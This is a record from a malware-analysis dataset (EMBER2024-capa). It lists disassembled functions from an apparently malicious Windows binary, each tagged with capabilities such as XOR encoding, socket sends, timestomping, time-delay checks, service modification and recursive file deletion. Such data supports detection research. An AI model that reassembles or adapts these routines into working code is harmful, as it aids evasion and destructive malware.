joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410560
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 0x10
pop ecx
xor eax, eax
push 0x100
push eax
mov byte [ebp - 0x44], 0
lea edi, [ebp - 0x43]
push ebx
rep stosd dword es:[edi], eax
call fcn.004200c0
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call fcn.00418e90
lea eax, [ebp - 0x44]
push ebx
push eax
call fcn.00415af1
push 0x40
lea eax, [ebp - 0x44]
push eax
lea eax, [ebx + 0x20]
push eax
call fcn.0041fd80
add esp, 0x28
push 0x40
lea edi, [ebx + 0x60]
lea esi, [ebx + 0x5a]
pop ecx
rep movsb byte es:[edi], byte [esi]
xor eax, eax
mov cl, byte [eax + ebx + 0x9f]
xor cl, byte [eax + ebx]
inc eax
cmp eax, 0x20
mov byte [eax + ebx + 0x9f], cl
jl 0x4105bb
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
xor ecx, ecx
test esi, esi
jle 0x4105f9
mov al, byte [ecx + ebx + 0xbd]
xor al, byte [ecx + ebx]
inc ecx
cmp ecx, esi
mov byte [ecx + ebx + 0xbf], al
jl 0x4105e3
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x410c07
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x119c
call fcn.00420250
push ebx
push esi
push edi
push 0x46
lea eax, [ebp - 0x70]
push eax
push str.ddd__dd_MMM_yyyy
xor ebx, ebx
push ebx
push ebx
mov esi, 0x409
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
push 0x1e
lea eax, [ebp - 0x28]
push eax
push str.HH:mm:ss
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x12c
lea eax, [ebp - 0x19c]
push eax
push 0x42dd58
call fcn.00411e19
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push eax
lea eax, [ebp - 0x119c]
push eax
call esi
mov eax, 0x444f92
add esp, 0x20
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], 0x13
push 2
push dword [ebp + 0xc]
lea eax, [edi - 2]
push eax
call fcn.004208f1
add esp, 0xc
test eax, eax
jne 0x410cb3
mov dword [ebp - 8], edi
add edi, 0x80
dec dword [ebp - 4]
jne 0x410c9b
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push str._h1__s__h1__r_n_r_n
lea eax, [ebp - 0x119c]
push eax
call edi
lea eax, [ebp + eax - 0x119c]
push eax
call esi
add esp, 0xc
push ebx
lea eax, [ebp - 0x119c]
push eax
call edi
push eax
lea eax, [ebp - 0x119c]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411861
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
call fcn.0041172c
xor ebx, ebx
mov esi, eax
xor eax, eax
cmp byte [ebp + 8], bl
lea edi, [ebp - 0xc]
mov dword [ebp - 0x10], ebx
stosw word es:[edi], ax
lea edi, [ebp - 4]
mov dword [ebp - 8], ebx
stosw word es:[edi], ax
je 0x4118d9
cmp esi, ebx
je 0x4118ab
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 8]
cmp eax, 0xdbba0
jae 0x4118ab
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov ax, word [esi + 4]
mov word [ebp - 4], ax
cmp byte [0x4564e2], bl
je 0x4118c5
mov eax, dword [0x4564d0]
mov dword [ebp - 0x10], eax
mov ax, word [0x456358]
mov word [ebp - 0xc], ax
cmp dword [ebp - 8], ebx
jne 0x411924
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov ax, word [esi + 4]
mov word [ebp - 4], ax
jmp 0x411924
cmp esi, ebx
je 0x4118fa
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 8]
cmp eax, 0x493e0
jae 0x4118fa
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov ax, word [esi + 4]
mov word [ebp - 4], ax
cmp byte [0x45638e], bl
je 0x411924
cmp dword [0x4563c0], ebx
je 0x411924
cmp byte [0x4564e2], bl
je 0x411924
mov eax, dword [0x4564d0]
mov dword [ebp - 0x10], eax
mov ax, word [0x456358]
mov word [ebp - 0xc], ax
cmp byte [ebp + 0xc], bl
jne 0x41192e
cmp dword [ebp - 8], ebx
jne 0x41193d
cmp dword [ebp - 0x10], ebx
je 0x411938
lea esi, [ebp - 0x10]
jmp 0x411940
cmp dword [ebp - 8], ebx
je 0x41194a
lea esi, [ebp - 8]
mov edi, dword [ebp + 0x10]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov al, 1
jmp 0x41194c
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411ab8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4566a8]
mov ecx, dword [0x456380]
push ebx
xor ebx, ebx
cmp byte [ebp + 0xc], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x411ae0
mov ecx, dword [0x456384]
xor edx, edx
inc edx
cmp byte [0x4564e2], bl
je 0x411af6
cmp dword [0x4563c0], ebx
je 0x411af6
mov dword [ebp - 4], edx
cmp ecx, ebx
je 0x411bbc
cmp ecx, 0x1388
ja 0x411bbc
jmp 0x411b1c
cmp dword [ebp - 4], ecx
jae 0x411b20
cmp byte [eax + 6], bl
je 0x411b19
inc dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp eax, ebx
jne 0x411b0c
push edi
mov edi, dword [ebp - 4]
cmp edi, edx
jb 0x411bbb
push esi
mov esi, dword [sym.imp.WS2_32.dll_send]
push ebx
push edx
push 0x4288bc
push dword [ebp + 8]
lea eax, [edi + edi*2]
shl eax, 1
mov dword [ebp - 0xc], eax
call esi
push ebx
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call esi
cmp byte [0x4564e2], bl
je 0x411b7d
mov eax, dword [0x4564d0]
mov dword [ebp - 0x14], eax
mov ax, word [0x456358]
push ebx
mov word [ebp - 0x10], ax
push 6
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call esi
dec edi
mov dword [ebp - 4], edi
cmp edi, ebx
jbe 0x411bba
call fcn.0041172c
mov edi, eax
jmp 0x411bb6
cmp byte [edi + 6], bl
je 0x411bab
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov ax, word [edi + 4]
push ebx
mov word [ebp - 0x10], ax
push 6
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call esi
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
jae 0x411bba
mov edi, dword [edi + 0x10]
cmp edi, ebx
jne 0x411b8a
pop esi
pop edi
pop ebx
leave
ret

Function at 0x41203a
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, 0x455cb0
xor edi, edi
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test al, al
jbe 0x412064
mov ecx, esi
movzx edx, al
movzx eax, byte [ecx]
mov esi, eax
imul esi, edi
xor esi, eax
inc ecx
dec edx
mov edi, esi
jne 0x412054
mov eax, edi
pop edi
pop esi
ret

Function at 0x412162
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push connect
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
inc eax
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
ret
Function at 0x412349
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push 0xf003f
push str.ServicesActive
xor ebx, ebx
push ebx
mov byte [ebp - 1], 1
call dword [0x455b58]
mov esi, eax
cmp esi, ebx
jne 0x412372
xor al, al
jmp 0x4123ca
push edi
push 0xf01ff
push dword [ebp + 8]
push esi
call dword [0x455be8]
mov edi, eax
cmp edi, ebx
jne 0x41238b
mov byte [ebp - 1], bl
lea eax, [ebp - 0x20]
push eax
push 1
push edi
call dword [0x455b84]
test eax, eax
jne 0x41239f
mov byte [ebp - 1], bl
cmp byte [ebp + 0xc], bl
je 0x4123b8
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push edi
call dword [0x455ac4]
push esi
call dword [0x455ac4]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4123ce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret

Function at 0x4123e3
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201d8
pop ecx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov word [ebp - 0x28], 0x7d9
call fcn.004201e2
cdq
push 7
pop ecx
idiv ecx
mov word [ebp - 0x26], dx
call fcn.004201e2
push 0x12
cdq
pop ecx
idiv ecx
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x22], dx
call esi
inc word [ebp - 0x26]
add word [ebp - 0x22], 2
call fcn.004201e2
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.004201e2
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.004201e2
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
call fcn.004201e2
cdq
push 2
pop ecx
idiv ecx
add word [ebp - 0x22], 3
add word [ebp - 0x26], dx
call fcn.004201e2
cdq
push 0xa
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x20], dx
call fcn.004201e2
cdq
push 0x32
pop ecx
idiv ecx
inc edx
mov word [ebp - 0x1e], dx
call fcn.004201e2
push 0x37
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x28]
push eax
inc edx
mov word [ebp - 0x1c], dx
call esi
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x412503
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret
Function at 0x412506
Capabilities:
Delete file
Move file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x41251e
xor al, al
pop esi
ret
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
setne al
pop esi
ret

Function at 0x412677
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
lea eax, [ebp - 0xc]
push eax
xor esi, esi
push 8
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x455bd8]
test eax, eax
jne 0x4126a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4127cc
push edi
lea eax, [ebp - 8]
push eax
push esi
push esi
xor edi, edi
inc edi
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x7a
je 0x4126d2
call esi
mov esi, eax
jmp 0x4127b5
push ebx
push dword [ebp - 8]
call fcn.0040fb39
pop ecx
mov ebx, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push edi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x412796
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
add eax, 0x10
push eax
mov dword [ebp - 0x10], eax
call fcn.0040fb39
pop ecx
push 2
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
je 0x412796
push dword [ebx]
push 0x101fffff
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_AddAccessAllowedAce]
test eax, eax
je 0x412796
push edi
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push edi
push dword [ebp - 4]
lea eax, [ebp - 0x30]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push edi
push dword [ebx]
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push edi
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorGroup]
push edi
push 0
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorSacl]
lea eax, [ebp - 0x30]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call esi
test ebx, ebx
mov esi, eax
je 0x4127a5
push ebx
call fcn.0040fb80
pop ecx
cmp dword [ebp - 4], 0
pop ebx
je 0x4127b5
push dword [ebp - 4]
call fcn.0040fb80
pop ecx
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x412f38
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.00420250
push 1
push str.SeDebugPrivilege
mov byte [ebp - 1], 0
call fcn.0041258e
test eax, eax
pop ecx
pop ecx
je 0x412f75
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x1114]
push eax
call dword [0x455b18]
test eax, eax
jne 0x412f79
xor eax, eax
leave
ret
mov eax, dword [ebp - 0xc]
shr eax, 2
je 0x41302e
push esi
push edi
lea esi, [ebp - 0x1114]
mov dword [ebp - 8], eax
push str.unknown
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi]
push 0
push 0x411
call dword [0x455a58]
mov edi, eax
test edi, edi
je 0x41300f
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [0x455b70]
test eax, eax
je 0x413006
push 0x104
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x10]
push edi
call dword [0x4559f0]
push dword [ebp + 8]
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x413006
push eax
push edi
call dword [0x455a98]
test eax, eax
je 0x413006
mov byte [ebp - 1], 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x413020
cmp dword [esi], 0
jbe 0x413020
push esi
push 0x405442
call dword [sym.imp.USER32.dll_EnumWindows]
add esi, 4
dec dword [ebp - 8]
jne 0x412f90
pop edi
pop esi
movzx eax, byte [ebp - 1]
leave
ret
Function at 0x413034
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push ebx
push esi
push edi
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
inc dword [ebp + 0xc]
lea eax, [ebp - 0x348]
push str._s
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41317d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test byte [ebp - 0x244], 0x10
je 0x4130ea
cmp byte [ebp - 0x218], 0x2e
je 0x413167
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push 0x4283c0
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x104]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00413034
add esp, 0x20
test eax, eax
je 0x413167
cmp dword [ebp + 0xc], 2
jg 0x413167
xor esi, esi
inc esi
jmp 0x41317f
cmp dword [ebp + 0x10], 0
je 0x41311a
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp + 0x14], eax
jge 0x413167
sub eax, dword [ebp + 0x14]
push dword [ebp + 0x10]
lea eax, [ebp + eax - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x413167
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4283c8
lea eax, [ebp - 0x104]
push eax
call esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x104]
push eax
call esi
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x244]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41308a
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x413687
Capabilities:
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.004127cf
pop ecx
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call fcn.00412543
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 1
pop esi
ret

Function at 0x413ed6
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
xor ebx, ebx
mov edi, 0x413e76
push edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call esi
cmp dword [ebp - 0xc], ebx
jne 0x413f18
cmp dword [ebp - 4], ebx
je 0x413f18
lea eax, [ebp - 0xc]
push eax
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
pop ebx
leave
ret
Function at 0x41447a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
and dword [ebp - 4], 0
push edi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4144ae
xor eax, eax
jmp 0x4144f3
push 0x258
lea eax, [ebp - 0x260]
push eax
push 0x42d2b8
call fcn.00411e19
add esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x260]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x414898
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2810
call fcn.00420250
push esi
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp + 0x14]
mov esi, eax
lea eax, [ebp - 0x2810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.004200c0
add esp, 0xc
push dword [ebp + 0x10]
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov eax, dword [ebp + 0xc]
push 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
lea eax, [ebp - 0x2810]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
pop esi
leave
ret
Function at 0x415791
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x94
push ebx
push edi
push 0x1f
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x20], bl
pop ecx
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp + 0x70]
push eax
mov dword [ebp + 0x70], ebx
call fcn.00415011
test al, al
pop ecx
je 0x4157d4
push 0x80
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x4157db
xor eax, eax
jmp 0x415899
push esi
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
cmp esi, ebx
jne 0x4157f3
xor eax, eax
jmp 0x415898
mov eax, dword [esi + 0xc]
cmp dword [eax], ebx
je 0x415895
xor edi, edi
cmp edi, 0x28
jge 0x415895
movsx ecx, word [esi + 0xa]
push ecx
push dword [edi + eax]
lea eax, [ebp + 0x64]
push eax
call fcn.0041fd80
push dword [ebp + 0x64]
call fcn.00413568
add esp, 0x10
test al, al
je 0x415886
mov al, byte [ebp + 0x64]
cmp al, byte [ebp + 0x70]
jne 0x415886
push 1
call fcn.0041536c
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004201d8
call fcn.0041203a
and eax, 7
add eax, 6
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00411f9e
add esp, 0xc
push ebx
push 1
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push dword [ebp + 0x7c]
push 0x428d9c
push dword [ebp + 0x7c]
push 0x428710
call fcn.0041560e
add esp, 0x20
mov eax, dword [esi + 0xc]
add edi, 4
cmp dword [edi + eax], ebx
jne 0x415800
xor eax, eax
inc eax
pop esi
pop edi
pop ebx
add ebp, 0x74
leave
ret

Function at 0x418838
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
and dword [ebp + 8], 0
push ebx
push esi
push edi
mov edi, 0x10000
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx + edx*4]
mov edx, ecx
and ecx, 0xffff
shr edx, 0x10
mov esi, ecx
mov dword [ebp - 8], ecx
mov ecx, edx
imul ecx, edx
mov dword [eax + 4], ecx
mov ecx, esi
imul ecx, esi
mov dword [eax], ecx
mov ebx, edx
sub ebx, esi
sub esi, edx
mov ecx, esi
imul ecx, ebx
xor esi, ebx
mov ebx, dword [eax + 4]
and esi, edi
neg esi
mov dword [ebp - 4], edx
mov edx, ecx
neg edx
sbb edx, edx
and edx, esi
add ecx, ebx
cmp ecx, ebx
sbb esi, esi
and esi, edi
add edx, esi
mov esi, dword [eax]
add ecx, esi
cmp ecx, esi
sbb esi, esi
and esi, edi
add edx, esi
mov esi, ecx
shl esi, 0x10
add dword [eax], esi
cmp dword [eax], esi
sbb esi, esi
neg esi
shr ecx, 0x10
add esi, ebx
add ecx, esi
add ecx, edx
mov dword [eax + 4], ecx
add eax, 8
inc dword [ebp + 8]
mov ecx, dword [ebp + 8]
cmp ecx, dword [ebp + 0x10]
jl 0x41884c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4188d9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x14]
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0x14], eax
shr dword [ebp + 0x14], 0x10
and eax, 0xffff
push esi
mov dword [ebp + 0xc], eax
push edi
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov edi, dword [eax + edx*4]
mov ecx, dword [ebp + 0x14]
mov esi, edi
and edi, 0xffff
shr esi, 0x10
mov edx, edi
imul edx, dword [ebp + 0xc]
mov dword [ebp - 8], esi
imul esi, ecx
sub edi, dword [ebp - 8]
sub ecx, dword [ebp + 0xc]
mov eax, edi
imul eax, ecx
mov dword [ebp - 0xc], ecx
xor edi, dword [ebp - 0xc]
mov ecx, eax
and edi, 0x10000
neg edi
neg ecx
sbb ecx, ecx
and ecx, edi
add eax, esi
cmp eax, esi
sbb edi, edi
add eax, edx
and edi, 0x10000
add ecx, edi
cmp eax, edx
sbb edi, edi
and edi, 0x10000
add ecx, edi
mov edi, eax
shl edi, 0x10
add edx, edi
cmp edx, edi
sbb edi, edi
shr eax, 0x10
neg edi
add edi, ecx
add eax, edi
add esi, eax
mov eax, dword [ebx]
lea ecx, [edx + edx]
add eax, ecx
cmp eax, ecx
sbb edi, edi
neg edi
cmp ecx, edx
sbb ecx, ecx
neg ecx
add ecx, dword [ebp - 4]
mov dword [ebx], eax
add ebx, 4
mov eax, dword [ebx]
lea edx, [ecx + edi]
lea edi, [esi + esi]
add eax, edi
cmp eax, edi
sbb ecx, ecx
neg ecx
cmp edi, esi
sbb esi, esi
add edx, eax
neg esi
add ecx, esi
cmp edx, eax
sbb eax, eax
neg eax
add eax, ecx
inc dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x18]
mov dword [ebx], edx
jl 0x418901
add ebx, 4
cmp dword [ebp - 4], 0
pop edi
pop esi
je 0x4189f9
mov edx, dword [ebp + 0x18]
add edx, edx
cmp dword [ebp + 8], edx
jge 0x4189f9
mov eax, dword [ebx]
mov ecx, dword [ebp - 4]
add ecx, eax
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebx], ecx
add ebx, 4
inc dword [ebp + 8]
test eax, eax
mov dword [ebp - 4], eax
jne 0x4189d8
pop ebx
leave
ret